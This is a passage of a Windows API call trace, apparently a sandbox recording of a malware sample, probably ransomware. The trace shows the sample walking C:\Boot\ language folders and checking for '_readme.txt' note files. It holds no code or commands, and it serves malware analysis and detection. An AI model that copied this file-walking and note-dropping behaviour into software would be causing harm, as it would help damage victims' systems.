0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.315] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0122.315] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.315] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.315] PathFindFileNameW (pszPath="") returned="" [0122.315] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.316] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.316] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.316] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.316] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0122.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.316] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0122.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.317] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.317] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.317] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.317] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.317] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.317] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.317] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.318] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.318] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.318] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.318] PathFindFileNameW (pszPath="") returned="" [0122.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.318] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.319] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.319] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.319] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.319] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0122.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.319] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0122.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.320] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.320] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.320] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.320] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.320] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.321] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.321] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] 